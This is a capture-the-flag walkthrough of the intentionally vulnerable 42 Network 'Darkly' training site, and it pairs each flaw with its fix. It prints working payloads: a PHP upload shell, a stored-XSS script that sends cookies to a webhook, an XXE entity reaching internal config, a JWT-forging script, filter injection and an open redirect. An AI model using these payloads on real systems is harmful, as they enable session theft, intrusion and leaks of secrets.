Complete Repository: onevilx/darkly Target Stack: FastAPI 0.104 / uvicorn 0.24 / Python 3.11 · PocketBase 0.22.4 backend Environment: 1337 School (42 Network) Findings: 9/10 Flags Recovered · 19/19 Vulnerabilities Identified
Every web developer eventually inherits an application that “works.” It authenticates users, it renders forums, it uploads avatars, it resets passwords. The forms submit, the pages load, the demo passes. And yet, sitting silently beneath that functioning surface, is an entire second application — the one an attacker sees. Where the developer sees a profile page, the attacker sees an object reference they can increment. Where the developer sees an avatar uploader, the attacker sees a path to arbitrary code execution. Where the developer sees a helpful password hint, the attacker sees an unsalted MD5 hash begging to meet rockyou.txt.
Darkly is the 42 Network’s deliberate exercise in learning to see that second application. It is a purpose-built, intentionally vulnerable web platform — a fictional campus portal with a forum, an agenda, a grade viewer, a newsletter, and a staff area — seeded with, per the project subject, 19 distinct vulnerabilities hiding 10 flags. The mission is uncompromising and narrow: the target is the web application, and nothing else. No decompiling the VM, no attacking the operating system, no shortcuts through the appliance. The whole point of Darkly is to exploit the website the way a real adversary would — from the outside, one HTTP request at a time.
This article is an exhaustive walkthrough of that engagement: the reconnaissance, the nine flags I recovered, the ten additional OWASP-class weaknesses I documented for the bonus, the way individual bugs chain into a full authentication bypass, and — because honesty is worth more than a perfect scoreboard — a frank account of the tenth flag I could not find, and why I believe it isn’t wired into the downloadable build.
1. Reconnaissance: Reading the Application Like an Attacker

The platform greets an unauthenticated visitor as a guest. There is a sign-in form, a forum, an agenda, and various campus links — all the surface area of a normal portal. The first instinct of a defender is to log in. The first instinct of an attacker is to catalogue what is reachable without logging in, and to read every byte the server volunteers for free.

The obvious starting point is robots.txt. It is a confession dressed as a courtesy: a file whose entire purpose is to name the endpoints the operator wishes you would not visit. Darkly’s robots.txt disallows a set of high-value paths — some forbidden (403), some redirects, some 404s — but one of them, /api/grades, is simply public when it should not be. That single misconfiguration becomes flag #5 later; for now it goes in the notebook.
The second discipline of recon is reading the HTML source, the response headers, and the deploy log. Darkly is generous here in a way that mirrors real applications far more than students expect. The pages carry:
x-powered-by: Python/3.11 FastAPI/0.104andserver: uvicorn/0.24.0— a precise stack fingerprint.x-pocketbase: http://localhost:8090— a signpost pointing directly at the backend datastore.- An HTML-comment “deploy log” on every page, in which the developers cheerfully admit their sins: “disabled defusedxml temporarily,” “added telemetry (it’s just a console.log),” “migrate session cookie to httponly=true — ticket #4201.”
Those comments are not flavour text. Each one is a root cause narrated by the very team that introduced it. defusedxml temporarily disabled is the XXE (flag #7). httponly not yet migrated is why stored XSS can steal a session cookie (flag #3). An attacker who reads the developers’ own words has, in effect, been handed the threat model. The lesson lands before a single exploit fires: your application talks, and it does not know how to keep a secret.
2. Flag #1 — Broken Access Control (IDOR): “Your Profile Is Mine”
Broken Access Control tops the OWASP Top 10 for a reason — it is the most common, the most impactful, and the easiest to introduce by accident. It is what happens when the server checks whether you are authenticated but forgets to check whether you are authorised for this specific object.
Browsing the forum as a guest, I followed a “scheduled maintenance” post to a View Profile link. That link led to another user’s profile — internal data, visible to an unauthenticated visitor. There was no ownership check between the requester and the resource. The profile even carried a private note captioned “Only visible to wil” — visible, of course, to me.

FLAG{1d0r_ur_pr0f1l3_1s_m1n3}Insecure Direct Object Reference (IDOR) is the concrete shape of Broken Access Control here: the object identifier in the URL is trusted, and whoever holds it is served. Access control must be enforced server-side, per object, on every request — never inferred from the mere possession of a link or an ID. This single class of flaw recurs throughout Darkly, and in the real world it recurs throughout the industry.
3. Flag #2 — Account Takeover → Unrestricted File Upload
With guest-level surface exhausted, the natural pivot is authentication. The forum contains a student publicly complaining that he still hasn’t changed his password — and, thanks to the same profile exposure from §2, his email address is readable. Two of the three ingredients for account takeover are already on the table.
The third comes from the password-reset flow (which I dissect properly in §5). It let me set a new password for that student’s account. Once inside, the interesting surface changes entirely: a logged-in student can post to the forum, search, edit their profile — and upload an avatar. An upload endpoint is a connection to the server’s filesystem, and the only question that matters is: does it validate what it accepts?
It did not. 
I uploaded a trivial PHP payload as a proof of concept:
<?php echo system('id'); ?>The server accepted it and executed it, surrendering the flag:

FLAG{unr3str1ct3d_upl0ad_g0_brrr}A note on responsible proof-of-concept. The payload above is a minimal demonstrator, not a weaponised shell. In a real engagement this is the exact moment a reverse shell would be staged — but the goal of a report is to prove exploitability, not to cause damage. Show the mechanism, capture the evidence, and stop.
Unrestricted file upload is dangerous precisely because it converts “store this file” into “run my code.” Defence requires a defence-in-depth stack: validate the MIME type and the extension against an allow-list, rewrite filenames, store uploads outside the web root, serve them from a domain that never executes code, and strip execute permissions. Any single one of these, correctly applied, breaks the chain.
4. Flag #3 — Stored XSS Against the Moderation Bot
The forum advertises a feature that is really a challenge: “Every new post is opened by our automated moderation bot for review, usually within a minute.” Translated from marketing into threat-model terms: an automated, privileged client will fetch and render my attacker-controlled content. That is the textbook precondition for stored cross-site scripting — the payload is persisted server-side and later executed in someone else’s browser context.

I planted a comment carrying a cookie-exfiltration script. Because the moderation bot renders posts as it reviews them, the payload fires in the bot’s session:
<script> var webhookUrl = "https://webhook.site/<my-unique-id>"; fetch(webhookUrl + "?c=" + encodeURIComponent(document.cookie));</script>
Within the promised minute, my webhook received a request carrying the bot’s cookies — and the flag:

FLAG{xss_st0r3d_1s_n0t_4_f34tur3_w1l}Two properties of the platform combine to make this fatal rather than merely annoying. First, the input is rendered without output encoding. Second, the session cookie is not HttpOnly, so document.cookie hands JavaScript the raw session token (see §14). Fix either one and the exfiltration breaks: context-aware output encoding stops the script from executing at all; HttpOnly stops a script that does execute from reading the cookie. A strict Content-Security-Policy would be the third, independent line of defence. Darkly ships none of them.
5. Flag #4 — Insecure Password Reset: When Your “Token” Is Just MD5(email)
The reset flow that enabled the account takeover in §3 deserves its own dissection, because it is a masterclass in client-side security theatre. Requesting a reset sends a link containing a long, official-looking “security token.” It looks like entropy. It is not.
Decoding the token revealed it to be nothing more than the MD5 hash of the user’s email address:

token == md5(victim_email)Since email addresses are public (§2), anyone can compute any user’s reset token offline and drive the reset to completion without ever receiving the email. The server was not validating the token server-side against stored state — it was trusting a value the attacker can reproduce at will.
FLAG{r3s3t_t0k3n_w4s_just_md5_lol}A password-reset token must be high-entropy, single-use, time-limited, and bound server-side to the account — generated with a CSPRNG, stored (hashed) in the database, and invalidated on use. A deterministic hash of a public identifier is not a token; it is a formula the attacker already knows.
6. Flag #5 — The Hidden-in-Plain-Sight API Endpoint
Back to that robots.txt note from recon. Most of its disallowed paths behaved defensively — 403s and redirects. But /api/grades answered a guest request with data it should never have exposed, including the flag:

FLAG{md5_1s_4_n4m3pl4t3_n0t_4_l0ck}The lesson is blunt: robots.txt is not access control. It is a politeness convention for well-behaved crawlers, and to an attacker it is a curated map of exactly where to look. Sensitive endpoints must be protected by authentication and authorisation, not by a request that they please not be visited.
7. Flag #6 — Mass Assignment: Patch Your Own Role
This is my favourite bug in the whole platform, because it is the purest example of the server trusting the client to describe itself. As a student, my privileges were minimal. Escalating meant becoming campus staff — and a hint in the /staff area all but drew the map: try PATCH /api/profile.
Using Burp Suite’s Repeater to craft the request by hand, I sent a PATCH to /api/profile with a body that included a field I was never meant to control:
PATCH /api/profile HTTP/1.1Host: localhost:4942Content-Type: application/jsonCookie: session=<my student session>
{"role":"cadet"}
The server responded 200 OK, applied the change, and my account climbed the ladder — unlocking a Staff Area with a dashboard, and the flag:

FLAG{just_p4tch_y0ur_0wn_r0l3_lol}Mass assignment occurs when a framework binds request fields directly onto a data model without an allow-list, so the client can set fields the developer assumed were internal — role, is_admin, balance, verified. The fix is to never bind privileged fields from user input: use explicit input DTOs / allow-listed fields, and make authorisation-relevant attributes writable only through a separate, authorised code path.
8. Flag #7 — XXE Escalating to SSRF: Reaching localhost From the Outside
The agenda feature accepts an XML upload, and the deploy log has already confessed that defusedxml was “disabled temporarily” six months ago. An XML parser with external-entity resolution enabled is a Server-Side Request Forgery primitive wearing a data-import costume: it can be made to fetch URLs from the server’s own network position, including localhost services an outside attacker can never reach directly.
A hint inside /staff/dashboard pointed at an internal configuration endpoint, /internal/config, that returns 403 to external callers. So I let the server fetch it for me, via an external XML entity:
<?xml version="1.0"?><!DOCTYPE agenda [ <!ENTITY xxe SYSTEM "http://127.0.0.1:4942/internal/config">]><agenda> <event> <title>&xxe;</title> <date>2042-01-15</date> </event></agenda>
The parser resolved the entity server-side and reflected the internal config straight back into the response:
{ "jwt_secret": "42network", "pb_admin_email": "admin@42network.local", "pb_admin_password": "Darkly42Admin!", "app_version": "1.0.0", "campus": "wilcity", "darkly_flag": "FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}"}FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}This is the single most valuable request in the entire engagement — not for its flag, but for its loot. It leaks the JWT signing secret (42network, weaponised in §13) and the PocketBase admin credentials (weaponised immediately in §9). One misconfigured XML parser dismantles the trust boundary between “external attacker” and “internal service.” Re-enable defusedxml (or disable DTD/entity processing entirely), and never expose secrets through any server-reachable config route.
9. Flag #8 — Privilege Escalation via the PocketBase Admin Console
The XXE leak from §8 handed me the PocketBase admin email and password, and the x-pocketbase header from recon told me exactly where to use them: the admin console at http://localhost:8090/_/. Logging in as admin dissolves the application’s entire access-control model — the datastore has no notion of the app’s “roles,” only full CRUD over every collection.

From there I could read every user, every collection, and edit any record — including elevating my own account from cadet to god and setting my level arbitrarily. Enumerating the collections, an internal_audit collection held the flag:

FLAG{th3_und3rsc0r3_sl4sh_kn0ws_th3_w4y}The takeaway is about blast radius. The upstream sin was leaking credentials (§8); the reason that sin is catastrophic is that the admin console was reachable and the credentials were static and shared. Backend admin interfaces must never be exposed to untrusted networks, must use strong unique credentials from a secrets manager, and must sit behind an independent authentication boundary so that one leaked config file cannot become total database compromise.
10. Flag #9 — Local File Inclusion via Path Traversal
The /project page references a document, faq_darkly.pdf, through a file-serving parameter — the classic shape of a Local File Inclusion sink. Direct attempts at /etc/passwd returned 403, and naive traversal returned 404, so the endpoint was partially hardened. The breakthrough came, once again, from reading the response headers, which advertised the backup configuration:

x-backup-schedule: daily@03:00x-backup-dest: localhost:/opt/pocketbase/pb_datax-backup-exclude: data/private_notes.txtThe server had just named the sensitive file for me — private_notes.txt — and roughly where it lived. After iterating on the traversal depth (the filter mishandled ../ sequences at a particular depth rather than normalising the path), the file resolved and yielded the flag:

FLAG{d0t_d0t_sl4sh_4ll_th3_w4y_d0wn}Path-traversal defence is not string blocklisting — attackers have endless encodings for ../. The correct approach is to canonicalise the resolved path and verify it remains inside an explicitly permitted base directory, or better, to abandon filesystem paths entirely and serve documents by opaque ID from a lookup table. And, as a recurring theme: stop announcing your secrets in HTTP headers.
11. The Chain: How Nine Bugs Become One Total Compromise
Individually, each flag is a lesson. Together, they are a kill chain — and seeing the chain is the real skill Darkly teaches:
- IDOR (§2) exposes a victim’s email.
- Insecure reset (§5) —
md5(email)— turns that email into account takeover. - Account takeover (§3) unlocks the avatar uploader.
- Unrestricted upload (§3) yields code execution.
- Mass assignment (§7) escalates role without any of the above.
- XXE→SSRF (§8) leaks the JWT secret and the PocketBase admin credentials.
- PocketBase admin (§9) converts those credentials into total database control.
- Weak/leaked JWT secret (§13) lets an attacker forge a valid session for any user with no password at all.
No single fix saves this application, but note how many independent defences would each have broken the most damaging link: HttpOnly on the cookie, output encoding on the forum, an allow-list on PATCH /api/profile, defusedxml on the parser, a real reset token, a secrets manager for the JWT key. Security is not one wall; it is depth.
12. Bonus: Auditing the Remaining OWASP Top 10 Weaknesses
The project subject asks, for the bonus, that the platform’s additional weaknesses be explained — including at least one that exposes no flag. Beyond the nine flag-bearing bugs above, I confirmed ten more weaknesses live against the target. None of them mint a flag in this build; each of them weakens the platform. I document them here in the same spirit the OWASP Top 10 intends: not as trophies, but as a defensive checklist.
12.1 — Reflected XSS (Newsletter)
The /newsletter banner echoes the email parameter back unescaped (...&msg=subscribed), executing arbitrary script in the victim’s session. Combined with the non-HttpOnly cookie (§12.7), a crafted link steals a higher-privileged user’s session token. Fix: context-aware output encoding + CSP.
12.2 — Open Redirect
/redirect?next=https://evil.example.com follows an attacker-controlled absolute URL (307), enabling phishing under a trusted domain and token leakage in OAuth-style flows. Fix: allow-list internal paths; reject absolute////scheme URLs.
12.3 — Weak & Leaked JWT Signing Secret → Session Forgery
The session cookie is HS256-signed with the secret 42network — trivially guessable, and leaked twice (base64 in a forum post, and in the XXE-dumped config). Crucially, the server does validate the signature (an alg:none, wrong-key, or unsigned token is rejected with a 302 to /login), but it reads the effective role from the database record identified by the sub claim, ignoring the token’s own role field. So the exploit is not “set role:god” — that field is decorative. It is forging a validly-signed token for any sub:
import hmac, hashlib, base64, jsonb = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=').decode()h = b(b'{"alg":"HS256","typ":"JWT"}')p = b(json.dumps({"sub":"k1asdfeditojrb4","login":"wil","role":"god", "exp":2000000000}, separators=(',',':')).encode())sig = b(hmac.new(b"42network", f"{h}.{p}".encode(), hashlib.sha256).digest())print(f"session={h}.{p}.{sig}")Impersonating a victim’s sub returns 200 on /admin and /staff/dashboard — a complete authentication bypass to any account, without credentials. Fix: long random secret-managed key, rotation, and preferably server-side sessions or short-lived RS256 tokens.
12.4 — Weak Passwords + Exposed MD5 Password Hints
Every user carries a pw_hint that is simply the unsalted MD5 of the password, readable via the IDOR/PocketBase exposure. Cracking against rockyou.txt recovered real credentials (benjamin:b3njamin!), confirmed against PocketBase’s auth-with-password. Fix: never derive a hint from the password; hash with bcrypt/argon2; enforce strength.
12.5 — PocketBase Filter Injection (NoSQL-style)
/api/grades?student=<id> and the forum search parameter concatenate user input into a PocketBase filter string. Injecting x" || "1"="1 breaks out of the filter and dumps all records. Fix: parameterised filters (filter="student={:id}"), never string concatenation.
12.6 — Sensitive Data / Schema Disclosure & BOLA
/api/docs-internal hands an attacker the exact mass-assignment field list and the grades-injection sink; /api/users/{id} returns private fields (private_note, pw_hint, recovery_code) for any id, breaking object-level authorisation. Fix: remove debug endpoints from production; enforce per-object authorisation.
12.7 — Security Misconfiguration
Verbose stack/version headers (x-powered-by, server), backend signposting (x-pocketbase), backup metadata headers naming the LFI target, a non-HttpOnly session cookie, and an internet-reachable admin console. Each one shortcuts another breach in this report. Fix: strip informational headers; HttpOnly+Secure+SameSite; isolate the admin console.
12.8 — Vulnerable & Outdated Components (A06)
The team disabled defusedxml on purpose (deploy log) — the direct root cause of the XXE — and pins outdated FastAPI 0.104, uvicorn 0.24.0, and PocketBase 0.22.4. Fix: re-enable safe XML parsing; patch and pin to maintained releases.
12.9 — Security Logging & Monitoring Failures (A09)
Six wrong logins in a row all return 302 — no lockout, no throttling, no captcha — and the “telemetry” is admitted in the deploy log to be “just a console.log.” Hundreds of requests, credential guessing, session forgery, and full DB dumps ran unthrottled and (observably) unalerted. Fix: real security-event logging, alerting, and login rate-limiting.
12.10 — Insecure Design (A04)
Several weaknesses here are design choices, not isolated bugs — the system is insecure as specified: the reset token is md5(email) and every pw_hint is md5(password) (MD5 used as a secret), the reset token is predictable-by-construction, there is no anti-automation on the auth flows, and secrets/schema are reachable by design (/internal/config, /api/docs-internal). Patching single endpoints can’t fix a threat model that was never applied. Fix: threat-model up front; CSPRNG single-use server-bound tokens; bcrypt/argon2; rate-limit auth; keep secrets and schema off reachable routes.
13. The Tenth Flag: An Honest Accounting
Darkly’s subject states the platform hides 10 flags. I found nine. This section exists because a security report that hides its own negative results is not a security report — it is marketing.
I hunted the tenth flag exhaustively and it did not surface. To be specific about how exhaustively, I confirmed it is not:
- Static in any PocketBase collection (I dumped every collection as admin — only the nine known flags exist in the data).
- In any LFI-readable file, or reachable via XXE
file://, or via standalone SSRF. - On any page at any privilege level, from guest all the way to
god(route enumeration + manual review). - Produced by upload RCE (PHP is served back as
text/plain),alg:noneJWT tricks, the open redirect, the reflected XSS, header/boundary manipulation, or the moderation bot — which, in this build, runs as a low-privilegemoderatoraccount.
The only mechanism that mints a flag on demand is the avatar upload’s ?upload_flag= path, which is flag #2. In the original Darkly, the vulnerability classes that carry a flag but produce none here — reflected XSS and open redirect — are present but token-less in this local copy. The most parsimonious explanation is that the tenth flag’s delivery (most likely a privileged reviewer bot targeted via the stored-XSS + non-HttpOnly-cookie chain) is only fully wired on the graded .ova appliance, not the downloadable build I audited — which I re-downloaded to confirm it matched.
I raised this with the project author rather than quietly padding the count or, worse, breaking the subject’s explicit rule against reverse-engineering the appliance to manufacture a tenth flag. That restraint is itself part of the exercise: scope is a security control, and respecting it is part of the job. The honest tally for this build is 9 flags recovered and 19 vulnerabilities explained — a complete audit of everything the web target actually exposes.
14. Closing Thoughts: The Two Applications
Darkly’s real lesson is not any single payload — it is a way of seeing. Every feature in a web application is simultaneously a capability for the user and a primitive for the attacker, and secure engineering is the discipline of never losing sight of the second reading. A profile link is also an object reference. An uploader is also a code path. A hint is also a hash. A moderation bot is also a privileged client rendering your input. A config endpoint is also a secrets leak waiting for the right XML entity.
Nine of those dual readings became flags. Ten more became a defensive checklist. And the tenth flag became something arguably more valuable than a flag: a reminder that in security, “I looked everywhere and here is exactly where I looked, and here is what I concluded, and here is the line I would not cross” is a complete and honest answer — and often the most professional one you can give.
Repository: onevilx/darkly — full write-up with screenshots, payloads, and per-vulnerability evidence. Disclosure note: This is an intentionally vulnerable 42 Network training platform. Everything here was performed against the sanctioned target, within the project’s stated scope.
onevilx